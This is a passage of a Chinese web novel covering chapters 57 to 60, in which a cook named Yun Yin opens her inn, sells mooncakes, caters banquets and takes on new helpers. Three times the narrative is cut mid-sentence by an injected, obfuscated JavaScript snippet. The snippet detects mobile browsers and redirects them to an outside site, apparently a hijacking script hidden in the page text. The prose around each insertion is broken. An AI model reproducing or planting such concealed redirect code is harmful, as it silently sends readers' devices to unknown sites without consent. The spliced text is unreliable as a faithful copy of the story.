而火腿月饼与蛋黄月饼又完全不同，是另外一种风味，肉的咸香带着丝丝甜味，口感丰富，甜而不腻，火腿嚼起来有嚼劲，云音还在其中加了鸡枞菌，增添一丝鲜味，让整个月饼有着独具一格的特色。 做好的月饼摆在簸箕里，每个簸箕都装了满满一篮子月饼，看着都让人觉得节日来临了，云音从每个篮子里挑选一些月饼，用盒子装起来，写好请帖，让张林跑一趟县城，把这些帖子送给他们。 当然罗蔓那边也不能少，若是她有空，也可以来参加活动。 这些都做完，云音要准备最后庆典所需的大月饼，考虑到不是所有都喜欢五仁馅，所以大月饼她还是做了经典的豆沙馅。 烤好的月饼上印着嫦娥奔月，虽然只有寥寥几笔，却画的栩栩如生，云音不由对傅望道：“宋时的绘画还真不错，连印在月饼上都还能如此传神。” 傅望颔首道：“确实如此，当时因为考虑到要刻印下来，所以他无法画的太过复杂，最后我刻出来时已经很美，没想到做出来的月饼也这样好看。” 云音看着这个大大的月饼，赞赏道：“看来我要好好感谢一下他，给他钱他拒绝了，还是做些好吃的给他吧。” 傅望望着云音道：“那我呢？” 云音拍拍他胳膊道：“自然不会少了你的，放心吧。” 中秋节前三天，云音举办的活动也开始了，一早临江村的村民便往她的客栈过来，云音把最大的月饼摆在院子里，其他要送的月饼则摆到官道边，她之前的饭摊处，安排张林在这里守着。 “若是有人来，你可以一人送一个月饼，机灵一点哦，别让人抢了。”云音看着他这模样，有些不放心，叫来罗田道，“你也帮忙看着吧，让他们排队领取。” 送人的月饼，云音做的比较小，两口吃下就没了，真正要送的月饼，她早提前送过去了，这些月饼只是让他们尝尝味道，若是喜欢，可以花钱买一个。 豆沙馅的月饼，云音卖的不算贵，跟之前的青团是一个价格，两文钱一个，当然卖不起的人，也可以来云音这里领一个小月饼，尝尝味道，也算是吃过月饼了。 云音安排好这里，往客栈走去，此时路两边已经挂了不少字谜，一直延申到客栈门口，门口她挂了两个红灯笼，红艳艳的在阳光下舞动，映衬着挂着的牌匾也喜庆不少。 屋檐上方，她还悬挂一个幌子，上面写着饭字，下面还画了图，当然这个也是找宋时帮忙写的。 云音看着随风飘荡的旗帜，满意点点头。 57. 第57间客栈 云音进了厨房，宴席要用的菜已经准备好，今日开业，除了外面送的月饼，每桌也会送一盘小月饼，一份凉粉。 菜色云音准备了八个菜，两个凉菜，两个热菜，一羹汤一甜点，今日不另外点菜，只有宴席菜，等忙过今日，云音还是按照时令来做菜，有什么菜便做什么。 若是想要预定宴席，她这里也准备了两种规格以供客人选择，云音从架子上拿出食单看了看，对于宋时的绘画很是满意。 此前为了筹备开业，她叫了宋时帮忙，之前他画的嫦娥奔月图，云音很喜欢，上次他没收钱，这次请他帮忙画图册，云音好说歹说，终于与他商定好，每画一幅图，她给100文。 为了画的栩栩如生，云音把食单上的菜都做了一遍，他尝过后灵感十分充足，每一幅图画出来，都让人垂涎欲滴。 像这个十贯钱规格的宴席里，他画金齑鱼脍时，不仅画了鱼脍的成品图，还画了凉亭荷叶，以及若隐若现的鱼。看着这副画，完全不像是食单，反而是一副艺术品。 翻过凉菜，进入热菜，红烧狮子头和软兜长鱼也是不同风格，一个豪迈大气，一个宛若江南美人雅致，每一幅上面不仅画了菜，也画上了场景，让人好想成为画中人，一次性吃个够。 云音放下这两本画册，外面客人也相携而来，云音见时间差不多，邀请他们入座后，去厨房做菜。 凉菜她准备的是做起来方便快捷的两道，一个蓑衣黄瓜，一道鱼冻。鱼冻可以提前做好，放到水井里冰镇，这两道菜做起来不复杂，但装盘的点缀需要雕刻，一道菜需要雕刻两条鱼和荷叶荷花，另一盘菜则需要雕刻花朵。 云音之前趁着不忙时，教导方荷雕刻简单的花朵，如今她已经能雕刻，剩下的鱼和荷叶荷花，她自己动手完成便是。 选取红色的萝卜，云音先在萝卜上绘画起来，画好后便用刻刀雕刻起来。 方荷看见云音正在雕刻，连忙停下手里的动作，起身前去观摩，鱼身很快便刻出来，每一片鱼鳞清晰可见，刻完鱼身她已经在刻鱼尾了，分出来的一丝丝尾线，让整条鱼活灵活现。 方荷看着成型的鱼道：“云娘子，我什么时候也能做这个。” 云音边动手边道：“等你把几种花的雕刻都学会，我会教你的。” 方荷“嗯”了一声，回去继续雕刻她的花朵。 快速做完需要的摆盘装饰，云音拿出白磁盘把切好的鱼冻放上，然后摆上鱼荷花等装饰物，再在一旁放上蘸料，这道凉菜也可以上桌了。 云音招呼郑桂兰把这道菜端过去，去炒热菜，茄子豆角过油，用大火迅速炒一遍，加入料汁，收汁关火，茄子豆角炒好时，粉蒸肉也蒸熟了。 郑桂兰回来把这两道菜端上去时，客人们还在讨论刚刚那个道菜，不仅摆盘精致，连鱼冻也一点腥味都吃不出来，其中一个食客叫住郑桂兰问：“云娘子到底怎么做的，这鱼冷了为何一点腥味也吃不出来，也没吃到什么香料的味道啊。” 郑桂兰放下菜，摇头道：“我也不知，这个还要问云娘子。客人若是喜欢云娘子的菜，可以常常过来。” 另一桌的汪钰摇头晃脑道：“想那么多做什么，好吃就行了，我是真的喜欢云娘子的菜，没有一次让我失望，哪怕是最简单的鱼冻。” 沈容一脸赞同道：“云娘子的手艺确实不俗。” 谢彦看着沈容，有心反驳几句，但这话他确实无法反驳，只能安静吃饭。 郑桂兰回到厨房，把食客说的话带给云音，一脸兴奋道：“云娘子，他们都在夸你呢，说你不论做什么都好吃，摆盘也是艺术，他们都不愿下筷。还有客人问你为何鱼冻一点腥气也没有，我让他喜欢可以常来。” 云音对郑桂兰的机智表示赞赏，其实说起来也没有什么秘方，八角桂皮那些当然能去除猪肉鱼皮的腥气，可也会破坏鱼肉的鲜味，所以她选用温和的香料甘草，再加上老姜，两者相合能很好去除腥气。 当然这话也没必要告诉食客，他们若是喜欢这道菜，也可以经常过来，她还有很多菜让他们吃个够。 云音最后做的是红烧鱼和三鲜蘑菇汤，每桌要上一条鱼，鱼她提前炸好，直接炒料焖煮，做起来也很快速方便，点心也是提前做好的绿豆糕，吃完菜再吃点甜口点心，喝杯茶，这一餐也就结束了。 云音把绿豆糕端过去时，他们也刚刚吃完，其中一食客道：“云娘子，你今日做的菜比起上回可是差远了。” 云音笑笑道：“今日准备的是特价菜，一桌一贯钱，所以菜品会有所选择，若是你们想吃其他菜色，我这里有食单，你们可以看看。” 她把怀里放的食单递给他们：“有两种规格的宴席，你们想吃的话，可以提前预定，到时候会按时接待。” “若是不想预定，也可以每天来吃特色菜，当天有什么新鲜蔬菜，我便会做什么菜，都是按照时令来的。” 那位客人拿着十贯钱的宴席食单，每一道菜都描绘的香甜可口，有些菜他是吃过的，此时看到这幅图画，又让他想起当时的惊艳。 想到还有很多菜色他都没有尝试过，立刻对云音道：“云娘子，给我预定一份，我要尝尝这些菜。” 云音笑着应下，写下他的名字和时间，把凭证递给他道：“这个你收好，我这边会收一贯钱的定金，你明日便可以过来。” 那客人看着这凭证问：“若是这凭证丢了怎么办？” 云音：“我们记录了客人您的信息，即便凭证丢了，只要您亲自过来，我这边也能接待的。” 他收好凭证，点头道：“行，那我明天过来。”他转头看到桌上的凉粉，又问云音道，“云娘子，你这凉粉卖吗？” 云音颔首道：“自然，你们以后若是想吃面或者点心，可以直接去前面的饭摊购买。” 客栈开业后，前面的饭摊她也仍旧营业，早食还是张林煮面卖，其他时间卖些凉茶点心，凉粉之类的，这样对于那些过路的人，也能稍作歇息。 至于张林的屋子，他也收拾出来，晚上若是有人错过住宿，钱财又不够住宿，仍旧可以在这里将就一晚。 等他们吃完饭，云音把一早准备的大月饼端上来道：“过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408665|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天便是中秋，今日请大家吃一吃我们家乡的月饼，若是觉得好吃，可以买一份回去送亲朋。” 这边云音在推销她的月饼，另一边谢彦拿起一个月饼吃下，坚果入口的口感让他一愣，直到吃到青红丝时，眉头一簇，立刻喝下一杯茶，看着月饼上写的五仁二字，摇头道：“这个月饼，不是我喜欢的味道。” 他这次看了看月饼，看到其中一个月饼上画着荷花，下面写着莲蓉二字，他小心拿起一个咬了一口尝了尝，清香的味道传来，他点头，“这个月饼味道不错。” 一旁的宋时和林晖二人倒是每一种都很喜欢，特别是林晖，对于五仁月饼爱不释手，他一连吃了好几个，对几人道：“这五仁月饼实在太好吃了。” 谢彦拒绝，“我觉得还是莲蓉月饼好吃。” 二人争论到底哪种月饼好吃时，宋时拿起食单上的图画欣赏起来，谢彦看到后问：“这就是你这几天忙碌的事情？” 宋时颔首道：“你们觉得画的如何？” 林晖：“画的不错啊，你的绘画又精进了。” 谢彦也点头道：“确实不错，之前进来时，看到你画的嫦娥奔月，我便觉得你绘画有所长进，看了这些图，确实长进不少。” 宋时一脸沉思，“你们觉得我去卖画如何？” 谢彦和林晖停下争执，回头看他道：“你怎么突然这样想了？” 宋时看着谢彦道，“不是你说的，我需要能养活家小，才能有资格迎娶罗娘子吗？我也没有其他本事，如今看来看去，也只有这绘画的功夫还行。” 谢彦想想后道：“你可以试试看，不过除非你有很大的名气，否则你的画会很难卖出去。” 宋时一脸自信道：“我一定能卖出去的。” 谢彦和林晖吃完饭，找到云音，“云娘子，我们要五盒月饼，每种口味都来一点。” “今日静萱不方便前来，只能我给她带一份回去。”谢彦看着柜台旁桌上摆放的月饼盒子，问道，“这里每种口味都有吗？” 云音站在柜台后面算账，听到他问，点头道：“每种口味都有两个，一盒200文。” “若是不想买这种，也可以单买，火腿和五仁蛋黄20文一个，莲蓉15文一个，豆沙2文一个。” 林晖看着豆沙咸月饼问：“这个怎么这么便宜，才2文？” 云音停下手里的东西，抬头看向他，“薄利多销嘛，而且豆沙馅的糕点县城里有许多，我这也不算多么出众，况且2文也不算便宜，若不是放了糖，这月饼2文都卖不上。” 谢彦让身后的书僮把盒子拿好，把钱递给云音，“云娘子过谦，我可没在县城吃过这样好吃的点心，这价格确实是便宜。” 云音笑笑：“既然谢郎君喜欢，可以多买些，我准备了许多，你不是想要送人吗？中秋送这个点心很好，又有寓意，又好吃。” 谢彦道：“云娘子说的不错，确实很适合送礼，那每种再多来一盒。” 云音记下账目，给他们打包装好，送走几人后，傅望走过来道：“阿音，过来一下。” 58. 第58间客栈 傅望把云音叫出来道：“我叫的人来了，我让他们过来见见你。” 云音看着眼前三人，诧异道：“不是只让你留一个人吗？怎么这么多。” 傅望：“一个人怎么够，我把罗田几人带走，也要给你留些人，这些人就代替罗田他们，若是有人要走镖，他们也能抽出人去绵州通知镖局。” 站在路边的王石头上前一步道：“云娘子，好久不见，我带人过来给你看看，正好也尝一尝你做的菜，等我们出发了，又要许久吃不到了。” 他满脸憔悴，但说到吃的时还是眼睛发亮，云音与他打招呼道：“你好不容易回来一趟，不好好休息吗？” 王石头笑着道：“这就是休息了。”他指着身旁的一人道，“这是程勇，之前受了些伤，一直在绵州养伤，老大说你这里要人，程哥自荐要过来，一来可以好好养伤，二来也能帮你守院子，还望你不要嫌弃。” 程勇笑着对云音点点头，云音看着他比傅望几人年纪都大，一脸胡子，头发上也染上几丝银丝，她也对他点点头看向后面两人。 “后面那两个，一个叫马浩，一个叫冯海，都是能打的人，当然干活也是一把好手，以前也是种地一把好手。哦，对了，冯海做菜手艺还不错，云娘子若是忙不过来，可以让他帮忙。” 云音看着瘦小的冯海，没想到他竟然是厨子，她确实需要厨子，对于傅望送过来的人她只犹豫片刻便接下了，“既然傅望把你们留在我这里，我也不会亏待你们，这样吧，你们与郑桂兰他们一样领工钱，这样可以吧。” 冯海和马浩看看傅望，见他没说话，他们也不出声，倒是一旁的程勇道：“云娘子也太客气，我这身子，能在你这里养伤已是感激不尽，怎么能收你钱呢？而且傅望也是给钱的，怎么好再要你的钱。” 云音摇头道：“话不是这样说的，你们来帮忙，我给了工钱才好让你们干活，不然我心里也过意不去，而且傅望给的是他给的，我给的是你们帮我干活的工钱。” 傅望对马浩几人道：“你们收下吧，你们好好替阿音干活就行。”至于程勇，他本就想让他调养一下身体，顺便帮忙看着些云音，以免他不在时出什么事情。 程勇挑眉看傅望，看破不戳破，傅望对上他的视线，轻咳一声移开，程勇摇摇头，又看到一直跟缠着云音的王石头，皱了皱眉道：“石头，过来，我有话跟你说。” 云音把张林那间房旁边的房间收拾出来，给冯海和马浩住，这两间房本是一间，但张林一个人住太大，她便趁着收拾厢房时，把这间房也隔成两间房了。 至于程勇，云音让他住在那五间厢房里的其中一间，她对程勇道：“这房间里面比较简陋，只有一张床和桌子，没放其他东西，若是你需要什么，可以直接跟我说，我帮你添置。” 程勇看看房间道：“没事，这样已经很好了。” 安顿好这三人，云音对他们道：“还没吃饭吧，你们去坐一会儿，我给你们炒个菜，很快便好。” 傅望带着几人进了大堂，找一个位置坐下，他问王石头：“这次定好的时间是什么时候？” 王石头喝一口张林拿来的凉粉，“中秋过后三天内我们便要出发，那边催得急，说是有一批货要早点运到绵州。” 傅望：“我知道了，这次你也一起去，我要带几个人。” “就是在官道边站的那几个吗？”王石头放下空碗道，“体格看着还不错，不过没实战过，怕是派不上什么用场。” 傅望瞪了他一眼：“只要他们能运货，能御敌，便已足以，这又不是在战场杀敌，还要什么用场。” 王石头摸了摸头道：“我只是那么一说罢了。” 程勇放下热水问：“你是想把他们招进镖队吗？” 傅望摇头：“他们是云娘子的人，我只是帮忙带一带，日后他们还是会回这里，交给云娘子的。” 王石头好奇问：“云娘子也想走镖？” 程勇白了他一眼道：“怕是想让人送货吧。” “这不是一个意思吗？这不是跟我们抢生意吗？” 傅望捶了他一拳头道：“笨，他的意思是，卖东西。” “原来是这个意思啊，云娘子想走商？”王石头摸摸头道，“这怕是不容易吧。” 傅望摆手道：“我也只是猜测，不过如今云娘子手里能往外运送的，也只有酱之类的，不知她是什么打算，不过我会先帮她把人带出来的。” “老大你之前不是说不想掺和生意的事情吗？还说我们走镖便只走镖你怎么现在又与云娘子合作了。” 傅望没回他，倒是程勇道：“怕是醉翁之意不在酒吧。” 云音端着菜过来时，正好听到这句话，她好奇道：“什么醉翁之意不在酒？” 傅望耳朵微红，上前帮忙端菜：“没什么，辛苦阿音了，你也快坐下休息吧。” 云音把菜放下，擦擦额头上的汗水，对他笑笑道：“没事，做菜我不累，只是有点热。” 傅望拿过一把蒲扇给她扇风，另外几个人已经开始抢食，王石头拉住程勇道：“你受伤了，这些还是少吃些，留给我们吃吧。” 马浩和冯海赞同道：“是啊，程哥，你最近要吃的清淡些，这些让我们解决。” 云音看着他们打打闹闹，笑着道：“你们关系还真好。” 傅望无奈笑道：“我都已经习惯了。” 恰在此时，罗蔓从外面走进来，看见云音，眼睛一亮道：“阿音妹子，你在这里，正好，我找你有事。” 云音与他们说一声起身去找罗蔓。 程勇看着云音离去的背影，挑眉对傅望道：“云娘子不错，你努力吧。” 王石头一头雾水道：“程哥你什么意思啊？” 傅望把蒲扇拍到他头上，“吃你的饭吧，不懂的少说。” 这边云音把罗蔓带到厨房，此时厨房已经空无一人，郑桂兰也洗好碗筷出去了，方荷也出去蹲马步。 云音问罗蔓：“阿蔓姐找我有什么事情吗？” “是这样的，我今日吃了你做的月饼，挺好吃的，不知道能不能放到我店里卖？” 云音想想若是她做馅料，他们一起包月饼的话，还是能供应罗蔓两个店售卖的，她颔首道：“自然没问题，一盒180文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415718|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何？” 罗蔓感激道：“妹子也太厚道了，让利这么多，给我190文吧。” 云音摇头道：“不说阿蔓姐帮我许多，就说把月饼放你店里卖，我也能赚不少。” 罗蔓最后没能争过云音，“好吧，那我每日让人过来取月饼，你别让人送了。” 云音回房拿了钱过来道：“阿蔓姐这是还你的钱，总共十八两，还剩下的等我做完宴席便能还你了。” 罗蔓拿着银子道：“我这次需要100份月饼，剩下的钱，你看还有多少，直接用月饼抵掉吧。” 云音算了算，之前已经还了她八两，今日再还十八两，还差24两，她道：“阿蔓姐，我给你做133份月饼，然后再给你60文，这样我们就两清了。” 罗蔓颔首道：“那行，这月饼我每日拿50份，分三天给我吧，若是卖的好，我后面再找你拿。” 云音拿着空空的钱盒回去，虽然钱盒又空空如也，但她也还完欠下的钱，终于无债一身轻，之后赚的钱都能存下来了。 云音盘算着等把今天接的宴席做完，她又能存十两，还是有钱人的钱好赚，日后每个月她都要接一些宴席才好。 正这样想着时，郑桂兰在外面喊她：“云娘子，来客人了。” 云音应了一声，把门锁好，去了大堂。 “万娘子，你来啦，我最近新做了点心，有各种馅的，你要不要买些回去给夏小娘子尝尝？” 万乐巧用竹签插起一块试吃，颔首道：“我带点回去给娘子尝尝，对了，娘子让我帮她定一下宴席，不知什么时候能预定。” 云音把食单递给她道：“现在能预定，不过要五天后才能安排，不知夏小娘子那边能否接受。” 万乐巧看了看食单，上面有不少新的菜色，她看了看十贯钱的那一桌宴席问：“这个菜能换吗？” 云音看着她指的是软兜长鱼，颔首道：“当然可以换，夏小娘子喜欢吃什么？我可以帮她换一个她喜欢的。” 万乐巧她道：“我们娘子很爱吃点心，你之前做的杏仁酪她很喜欢，不知道能不能做些其他奶制点心，之前的雪媚娘娘子便很喜欢，可惜后来也没吃到了。” 云音一脸歉意道：“奶制品的话，我这里没有正在产奶的牛，所以暂时无法做，等明年我的牛产奶，便可以做奶制品了。” 万乐巧道：“这个没关系，我们到时候会把牛奶带过来，不知道云娘子你这边能否帮忙多做几种点心？” 云音：“既然夏娘子能提供牛奶，我这边当然能帮忙。” “牛奶点心的话，双皮白，姜撞奶这些都是能做的，焦糖布丁我也可以做。” 万乐巧听她讲了一遍，颔首道：“这几道点心都做吧，还有其他点心？” 云音想想后道：“我还能做银丝糖酥和蜜三刀，食材我这里都有，只是会花不少时间，夏小娘子可能要多等等。” 万乐巧：“没事，只要点心好吃便好，这次的月饼我先带回去给娘子尝尝，等五日后来吃云娘子的其他点心。” 她留下十贯钱便离开了，云音都没来得及说只需要两贯定金。 59. 第59间客栈 送走所有客人，云音也没休息，要开始准备明日宴席需要的食材，有些菜品今天要准备好，否则明天来不及。 饮品她准备了酸梅汤，这个需要提前煮好，之后放到井水里冰镇，第二天喝便很冰凉。 还有做菜常用的高汤，她每日也是必备的，所以她每天也要用不少鸡鸭鱼肉，这些都是张林一大早赶车去买的。 大菜里面有一道烤鸭也需要提前准备，不过可以凌晨起来做，她把买回来处理干净的鸭子，从脖颈处开一道口，插入准备好的竹筒，往里面吹气，这样在之后烤制时能让皮肉分离。 然后烫皮干燥后上脆皮水，将葱段、花椒、八角和盐等调料塞进鸭肚子里，倒入黄酒，用竹签封口，然后挂在阴凉处风干，这时候气温低，即便是夏天，鸭子也不会坏。 等风干几个小时后，取下鸭子，再次刷上脆皮水，继续风干，这一次云音烤六只鸭，除了宴席菜里面放上一只，其他的也可以拿去单卖。 云音准备好需要的东西，此时客栈也安静下来，她走到官道边，此时这里仍旧热闹一片，还有许多人往这边赶来，都想尝一尝云音做的月饼是什么味道。 好在她这种小月饼准备了不少，现在烤炉仍然没有歇着，一直在烤着，郑桂兰也在厨房继续包小月饼，送给这些村民。 或许是因为罗田和张林几人，人高马大站在那里，又有临江村的村民帮忙维持秩序，这里的人还算有秩序，当然想浑水摸鱼的人也有，不过都被张林发现了。 除了这些来领月饼的人外，云音还看到一些提着篮子的人，她好奇上前问：“你们这是？” 那人把篮子往路边一摆，对云音道：“云娘子，我听说你的饭馆要开业，这不我弄了些好东西，你看看你饭馆需不需要。” 不久前还是她卖东西给罗蔓的饭馆，如今也有人卖东西给她了，她看向那人篮子里放着的东西，是一篮子洗的干干净净的莲藕，细长细长的，看着非常嫩。 此时确实已经有藕能吃了，她询问价格，十文钱一斤，价格还算合适，她便把这一篮子藕买了。 刚买完藕，又有一人提着篮子过来道：“云娘子，你这里买水果吗？我听说你找乐桃村的人买了水果是吗？我这里也有一些水果，你要不要。” 他篮子里装的是黄皮大梨子，虽然皮糙肉厚的，但是这种梨子水分很足，吃起来也挺甜，不过她还是要尝一尝才能确信，她问：“可以尝一尝吗？” “当然可以。”那人递过来一个梨子道，“我们甜梨村的梨子可甜了，不少人喜欢的。” 原来这人是甜梨村的人，叫田杨，云音用袖子随意擦了擦梨子，一口咬下，果然多汁，水都顺着嘴角流出来，她擦掉水渍，一下把这个梨子吃完。 “这一篮子我要了。”云音问他，“是2文钱一斤吧？” 云音记得之前在县里看到的梨子便是2文钱一斤，那人高兴道：“没错，是2文钱一斤，我们卖到城里也是这个价格。” 买完梨子云音想到一事，叫住他道：“你们村里有修剪梨树剩下的梨枝吗？” 田杨：“有啊，还有不少呢，我们都拿去烧了，不过我家还剩不少，云娘子问这个做什么？” “我要买些梨枝，你明日一早帮我送过来，一捆十五文钱如何？” 这价格比村子里卖到县城的柴禾贵多了，他不可置信道：“真的一捆十五文？” 云音自然知道县里的柴禾有些卖五文一捆，但有些也能卖到十文，木材不同，价格自然也不同。她买梨枝是用来烤鸭的，自然不会觉得这个价格偏高。 她颔首道：“是的，一捆十五文，你帮我送过，如何。” 田杨连声应下：“当然没问题，我明日一早给你送过来。” 翌日一早云音便把烤炉烧起来了，用上她买来的梨木枝，此时炉子温度已经很高，云音把风干好的鸭子分批次放入，她的这个炉子一次只能放三只鸭子，所以她需要分两次烤制。 鸭子烤上，她去准备狮子头的食材，洗干净浸泡好的五花肉沥干，去皮切成丁稍微剁一下后加入盐葱姜水，搅拌肉泥，之后放入淀粉继续搅拌，直到起胶后，放入切碎的莲藕捏成大丸子。 狮子头用荸荠味道会更好，会带有一股清甜的口感，但荸荠至少要11月份才有，如今是找不到的，好在云音买了莲藕，用这个替代也是不错的方法。 肉丸子下油锅炸到外面金黄，锅里留一点底油，加入一早备好的高汤，葱姜酱油等调味，烧开后放入小釜里，放入炸好的丸子，小火炖到丸子熟了，倒出一点炖丸子的汤，勾芡收汁装盘。 宴席菜的摆盘也非常重要，狮子头边上一圈围着躺好的小青菜，浇上酱色的汤汁，汁红翠绿看着很是赏心悦目。 做完狮子头，预定宴席的客人也过来了，云音让郑桂兰过去招待，她则开始准备上菜。 依旧是先上凉菜，蓑衣黄瓜、蒜泥白肉、金齑玉脍、白切鸡这几道菜依次端上去，然后炖好的狮子头和炒好的软兜长鱼也能上桌。 这时烤鸭也出炉了，云音把鸭子拿出来，倒出里面的热汤，装上蒸好的荷叶饼和调料，带着这只鸭一起去了大堂。 云音对霍宇道：“听你儿子说，您特别爱吃鸭，那今日这个鸭您可千万别错过。” 霍宇是她的老客户了，从她还是个小小饭摊时，他便找上门来，因为经常出城，每每到晚上才回，他儿子还来找过云音。 后来吃了云音的菜后，他才释然，以至于后来他也喜欢上云音的菜，经常带着他父亲过来吃饭，知道云音客栈开张，他也立马跟他父亲过来捧场。 霍宇摸了摸胡子道：“那他肯定没告诉你，不止我爱吃，他也爱吃鸭。” 霍宇的儿子霍辰不好意思笑笑，“云娘子的菜我都爱吃。” 云音把鸭子放到桌子上，用刀一片片将鸭肉连皮带肉片下，一只鸭能片108片，摆盘放好，鸭架另外装好，放上椒盐，对他们道：“可以用饼裹着鸭肉葱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421352|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝和黄瓜丝，这一碗是我做的蘸酱，专门配鸭肉的，你们可以慢慢品尝。” 霍辰刚被她片鸭的技术惊艳，又被这满屋飘香的鸭子味道吸引，忍不住用帕子擦了手，直接按照云音的说法，吃起来。 霍宇见他儿子不先递给他，自顾自地吃起来，瞪了他一眼，决定自力更生，也卷了一个饼吃起来。 皮脆肉香，脆脆的黄瓜丝和葱丝平衡肉的油腻，一口咬下酱香浓郁，吃完忍不住还想再吃一口。 霍宇吃完擦了擦手道：“我早说云娘子的手艺比满香居的大厨也不差什么，果然让我说着了，这鸭子的味道一绝。” “云娘子，你不开饭馆，只做这鸭子，每日都能卖不少。” 另一边没有预定宴席的客人闻到这股香气，忍不住问：“云娘子，你这鸭子卖吗？若是卖的话，我也想尝尝。” 云音收拾刀具，看向询问的客人道：“今日只烤6只，霍郎君他们吃了一只，还有五只，你们可以买半只，也可以买一只。” 那人还没说话，霍辰已经先开口道：“云娘子，我们预定一只，我带回去给阿娘尝尝。” 霍宇颔首道：“没错，不能忘了你娘。” 其他客人见状，也抢购起来，担心这剩下的不够他们分，轮到最后两桌时，只有一只烤鸭，云音想想后道：“不如你们一桌半只如何？” 那两桌的人互相看看，只能妥协道：“那就这样吧，云娘子你怎么不多做些呢？” 云音笑笑道：“总吃也会吃腻的，一天六只刚刚好，你们也能尝尝其他菜。” 卖完烤鸭，她回了厨房，此时鲈鱼也蒸好了，端出来弄碎，锅里放猪油加葱段炒香，倒入高汤煮沸后，加入切好的笋丝、蘑菇丝和火腿丝，继续煮沸后加入鱼肉，蒸鱼的汤汁，最后调味撒上姜丝和葱花。 做好鱼羹，云音让郑桂兰去上菜，她则把霍宇他们定的其他菜都做完，牡丹燕菜之前做的燕菜还有，这次直接拿来用便是，文思豆腐做起来也不麻烦，只是切豆腐丝要注意些，切好的豆腐丝煮好放入汤料里，文思豆腐也能端上桌。 方荷看着云音切出来细如丝线的豆腐，惊讶道：“云娘子，这个我也要学吗？” 云音颔首道：“自然要学，你既然想学厨艺，刀工是一定要学的，能把豆腐切的如同丝线一般细，你的刀工也算大成了。” 方荷认真道：“我会努力学的，一定能把豆腐切成丝。” 云音：“那你继续努力吧，好了，叫你娘亲过来上菜。” 等文思豆腐也上了，她对方荷道：“这次牡丹燕菜里面的牡丹，由你完成可以吗？” 刚刚还激情满满的方荷，听到这话，顿时卸了气，“真的让我做吗？我才学没多久。” “牡丹花的雕刻不难，我之前不是教过你吗？你按照我教的做，赶紧行动起来，不要我菜做完，你的花还没雕好。” “我知道了。”方荷立刻去篮子里选了一个萝卜，开始雕刻牡丹花。 60. 第60间客栈 云音见方荷表情虽然很狰狞，但手里的动作很稳，她满意点点头，继续做剩下的菜，等云音其他菜差不多做完时，方荷拿着最完美的一个牡丹道：“云娘子，这个怎么样？” “不错，放到盘子里吧。” 方荷听到夸赞，眼睛抑制不住欣喜，踮起脚尖跑到灶台边，把牡丹放到盘子里，随着这朵牡丹放入，整盘菜肴瞬间增色不少，她惊叹道：“云娘子，怪不得你说摆盘也是很重要的，这么一摆，菜都好看很多。” 云音笑道：“自然，所以才让你多练习。” 方荷点头道：“嗯，我会的。” 把牡丹燕菜上完，剩下的便是糕点了，这次她仍然做的荷花酥，等再过一段时间，她便换成银丝糖和蜜三刀。 点心上完，水果拼盘也端上去，云音把冰好的酸梅汤和凉粉送上去，这是她送的，定了十贯钱宴席的客户，她都会送酸梅汤和凉粉。 若是其他客户想要喝酸梅汤，也可以单独购买，她做了很多，都放在井里冰镇着。 云音端着酸梅汤回大堂，问霍宇，“霍老觉得今日菜色如何？” 霍宇放下筷子，端起冰凉的酸梅汤喝了一口，长舒一口气道：“太美味，吃的很好，十贯钱能吃到如此美味的菜色，是我们赚了，州城里吃这么一顿菜，要花不少钱。” “能在龙安县遇到云娘子，是我这种爱吃的人的幸事。” 云音眉眼弯弯道：“有你们这些食客喜欢，是我这个厨子的幸事。” “你们有什么建议，可以告诉我。” 霍宇想想后道：“点心对我来说还是太油腻了，更想吃些清爽的，杏仁酪很好吃，不知娘子这点心是只能在宴席菜里吃，还是能单独购买？” 云音道：“宴席菜的所有菜都能单独点单，不过像烤鸭这种复杂的菜，我这边需要提前准备，所以分量不会很多，杏仁酪我一直有单独卖，可能您之前没注意到。” “嗯，你说的点心我这边过几日会换一些，您到时候可以尝尝看，不过点心都是偏甜一点的，不怎么甜的点心，我再好好想想。” 霍辰抿抿嘴道：“我倒是觉得娘子做的点心很好吃，不管是虾饺还是荷花酥都很好吃。” 云音没想到霍辰也是个喜欢吃甜食的，她笑道：“郎君喜欢便好，不过霍老说的也没错，还是要老少皆宜。” 接待完霍宇父子，中秋节也到了，今日云音没接单，从早上开始便有人来给她送中秋礼，她招呼张林把灯笼挂好，她则去接待这些人。 除了罗蔓给她送的羊肉，宋时和宋萱送给她一些点心，都是他们常吃的，云音看过，里面有茯苓糕、桂花糕等点心，也是云音不常做的点心。 